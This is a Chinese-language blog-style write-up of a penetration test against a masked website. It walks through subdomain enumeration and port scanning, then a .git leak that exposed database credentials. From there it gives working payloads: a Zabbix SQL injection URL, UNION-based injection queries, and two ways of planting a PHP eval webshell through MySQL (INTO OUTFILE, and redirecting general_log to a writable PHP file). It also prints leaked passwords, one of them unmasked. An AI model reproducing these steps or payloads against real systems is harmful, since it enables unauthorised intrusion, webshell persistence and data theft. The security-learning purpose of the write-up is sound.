0x01 简介
这个也是早期的渗透过程了,看完文章以后可以发现,这个时候的我,在信息收集与漏洞利用方面还非常的稚嫩
当然了,现在这两个方面也是嫩的很.
要说区别的话,就是现在没有以前细了把
注意:打码是肯定打码的,看个乐呵就完事了
0x02 基础信息
注意:网址瞎起的
网站:testkuan.cn
得到了网站信息
域名服务商:中国 广东 深圳 阿里云
服务器:nginx 版本多少不知道,因为给隐藏了
注册者:广州xx信息技术有限公司
注册邮箱:2xxxxxx5@qq.com
使用语言:并没有,纯静态网站也可能不是,只是没暴露出来过
0x03 头铁前期不收集信息 硬刚
首先打开了网站:testkuan.cn
进去以后
一顿点击加找到以后发现
嗯。。嗯?嗯!嗯??完蛋了,主站80端口就是整个就是一个html纯静态的网站。也可能不是,只是没暴露出来过。
好咯好咯。扫扫目录咯。
嗯,是的,软件很老了,可是平时把字典收集好以后真的好用呀。
结果当然是什么都没扫到啦。
这时想通过目录查看某一些东西的想法也就放下了。
然后想到使用nmap扫描一下端口
最后扫描出来的端口
20 与 21 端口日常爆破宣布失败
8888 端口 目录泄露了
然后发现就只泄露了这个东西
点击进入以后
嗯。确定了没有什么用。随后放弃了这个点。
8099 是zabbix 是一个web分布式系统监视系统
看到这个时,很高兴,因为我记得这玩意17年爆了2个命令执行一个sql注入
逐一测试以后发现并没有这些漏洞
url:http://testkuan.cn:8099/jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

随后这个点也放弃了。
测试一波git svn泄露,嗯也是毛都没有
0x04 头给打烂了,开始收集信息了
这里可以看得出,我在以前的时候,信息收集技术真的是…..
一言难尽的菜,滋滋滋滋
0x04.1 百度谷歌 site 语法查找-二级域名
然后就只能按照平常的习惯来了,收集子域名,然后重复上面的操作
语法 site:testkuan.cn
百度与谷歌的结果都差不多,就不重复截图了
从这里看的出来,收录的不多,一共也就25个,于是就一个个看了过去
此时收获到了的二级域名http://www.testkuan.cn/http://jingang.testkuan.cn/http://wukong.testkuan.cn/http://ky.testkuan.cn/ipad/#http://test0.testkuan.cn/#/loginhttp://x.testkuan.cn/#/login
0x04.2 微步在线威胁情报社区收集-二级域名

一共十个去重以后http://nezha.testkuan.cn/http://pay.testkuan.cn/http://ky.testkuan.cn/http://p1.testkuan.cn/http://images.testkuan.cn/http://x2.testkuan.cn/https://testx3.testkuan.cn/http://devx2.testkuan.cn/http://x3.testkuan.cn/
得到了新的9个域名也算是结果很不错了,很满意了。
0x04.3 censys.io 查询二级域名

得到的结果 : )
很高兴得到了很多的域名。
经过一一的人工去重以后
剩下的域名http://testnewx2.testkuan.cn/http://devx1.testkuan.cn/http://testp1.testkuan.cn/http://oldp1.testkuan.cn/http://devp1.testkuan.cn/https://devx3.testkuan.cn/http://devoldp1.testkuan.cn/http://biaoke.testkuan.cn/http://fu.testkuan.cn/http://wm.testkuan.cn/https://chandao.testkuan.cn/http://chandao.testkuan.cn/
0x04.4 Layer子域名挖掘机-爆破二级域名


去重复http://api.testkuan.cn/http://wx.testkuan.cn/http://data.testkuan.cn/http://b.testkuan.cn/http://git.testkuan.cn/users/sign_inhttp://jenkins.testkuan.cn/login?from=%2F
0x05 二级域名集合
http://www.testkuan.cn/http://jingang.testkuan.cn/http://wukong.testkuan.cn/http://ky.testkuan.cn/ipad/#http://test0.testkuan.cn/#/loginhttp://x.testkuan.cn/#/loginhttp://nezha.testkuan.cn/http://pay.testkuan.cn/http://ky.testkuan.cn/http://p1.testkuan.cn/http://images.testkuan.cn/http://x2.testkuan.cn/https://testx3.testkuan.cn/http://devx2.testkuan.cn/http://x3.testkuan.cn/http://testnewx2.testkuan.cn/http://devx1.testkuan.cn/http://testp1.testkuan.cn/http://oldp1.testkuan.cn/http://devp1.testkuan.cn/https://devx3.testkuan.cn/http://devoldp1.testkuan.cn/http://biaoke.testkuan.cn/http://fu.testkuan.cn/http://wm.testkuan.cn/https://chandao.testkuan.cn/http://chandao.testkuan.cn/http://api.testkuan.cn/http://wx.testkuan.cn/http://data.testkuan.cn/http://b.testkuan.cn/http://git.testkuan.cn/users/sign_inhttp://jenkins.testkuan.cn/login?from=%2F
经过这么一趟下来,可以获取到的 二级域名一共为33个
0x06 ip整合端口扫描
获取了33个域名以后,我并没有直接看,因为那天很晚了,还困了。。。
于是就把这些域名都ping了一下,获取了IP 与 开放端口
xxx.xxx.65.165
xxx.xxx.80.9
xxx.xxx.72.41
xx.xx.48.169
xx.xx.40.181
xxx.xxx.152.125
xxx.xxx.236.212
一顿nmap扫描以后端口发现了几个3306端口
xxx.xxx.152.125:3306
xxx.xxx.158.12:3306
: )
行的把
0x07 转机 .git 泄露
一顿瞎JB操作以后,就在最后的时候,发现~
他
有
Git
泄
露
然后写个小code测试了那些站有.git泄露

哦也,真棒
git泄露使用工具 GitHack-master 然后进行下载
最终翻了一下发现。。。很奇怪,源代码没有全部下载下来,下载下来的大部分全是 config 然后里面全是数据库 : )也行吧,爽了!其中有两个支持远程连接的账号打开:GitHack-master\web\xxx.xxx.72.41\environments\dev\frame\config\default.php

数据库:xxx.xxx.158.12
账号:Xxxdever
密码:Xxxdev2017
打开: GitHack-master\web\devx1.testkuan.cn\environments\dev\app\config\default.php

数据库:xxx.xxx.152.125
账号:xxdev
密码:xxhnxxK<x)!xxx
其他的泄露了阿里云的redis,rds账号密码例如:GitHack-master\web\devx1.testkuan.cn\environments\prod\pos\config\default.php

0x08 后续-查看其他网站
0x08.1 注入




数字型注入: http://oldp1.testkuan.cn/people/index.php?controller=subjectpage&action=index&id=66&comid=1%27
可惜的是没有注入成功,因为会把 select 直接转为 [select] 然后我就蒙蔽了。最后也没有绕过去
0x08.2 第一处getshell

一看到这个就知道了他是LNMP的一键安装包了lnmp默认会安装phpmyadmin phpinfo.php并且lnmp安装的默认路径是 /home/wwwroot/default/ 这个我们是可以试试的所以直接访问即可http://xxx.xxx.158.12/phpinfo.phphttp://xxx.xxx.158.12/phpmyadmin/账号:Xxxdever密码:Xxxdev2017而账号密码前面通过git泄露获取到的

进去以后嗯,完美root权限在使用导出命令的时候,提示权限不够而不是The MySQL server is running with the --secure-file-priv option so it cannot execute this statement嗯,舒服,换成了root账号以后就解决这个问题了并且 root 密码也是可以解密出来,这就很舒服了。账号:root密码:wangemao123!@#上去以后执行:select '<?php @eval($_POST[11]); ?>' INTO OUTFILE '/home/wwwroot/default/aaa.php';成功种下了webshell 呼呼呼呼
0x08.3 撞库进后台-sql注入
http://biaoke.testkuan.cn/people/index.php?controller=home&action=login账号:admin密码:admin0503这个是通过.git泄露时,上服务器查看的

撞库成功以后,进入了一个新页面,查看了一下,终于找到了一处无限制的sql注入
url:http://biaoke.testkuan.cn/people/index.php?controller=Setstore&action=addstore&id=0000114955076110142

url:http://biaoke.testkuan.cn/people/index.php?controller=Setstore&action=addstore&id=-0000114955076110142 union select 1,2,3,4,5,6,user(),database(),9,10,11,12,13

可惜的没有拿下shell来,站库分离的,网站上的上传全部使用的是 oss 上传。整体也并没有什么好利用到的,只能拿拿数据。可惜可惜
0x08.4 第二处getshell
然后继续查看另外一个数据库泄漏数据库:xxx.xxx.152.125账号:xxdev密码:xxhnxxK<x)!xxx



那么这个时候有一个root权限的账号当然是要好好利用的,想到了通过日志拿shell,没有phpmyadmin不会主动创建文件,所以通过他拿shell的话,首先就要知道,这个ip的其它网站的路径并且要成功拿shell 还要满足4个要求第一:是个.php文件第二:必须是777权限第三:必须是 <?php ?>包含外的文件或是说,没有<?php ?> 的php文件第四:知道他的路径通过查找以后发现一个禅道系统,刚好是这个ip的http://chandao.testkuan.cn在打开以后会跳转到https://chandao.testkuan.cn/www/index.php?m=user&f=login

并且从上面的目录可以看到他是 www/index.php 这让我就有点奇怪了,第一感觉就是目录权限没有做好。试了几个禅道以前的漏洞,没有一点用,那就只能看看这个源码了接着在自己本地也安装了禅道系统,并且在禅道的目录哪里执行了命令find -perm 777一顿查找自己服务器,最后发现了2个文件 符合我们的要求/data/ZenTaoPMS/ky_zentaopms/module/misc/ext/model/foo.php/data/ZenTaoPMS/ky_zentaopms/module/misc/ext/view/getsid.color.html.hook.php在目标站打开:https://chandao.testkuan.cn/module/misc/ext/model/foo.php

完美符合要求接着使用navicat 执行语句SET GLOBAL general_log=ON;SET GLOBAL general_log_file='/data/ZenTaoPMS/ky_zentaopms/module/misc/ext/model/foo.php';select '<?php @eval($_POST[11]); ?>';SET GLOBAL general_log=OFF;然后火速链接。在上传一个新马,成功getshellhttps://chandao.testkuan.cn/module/misc/ext/view/FileContral.php?ckeditor=1&tdsourcetag=s_pctim_aiomsg

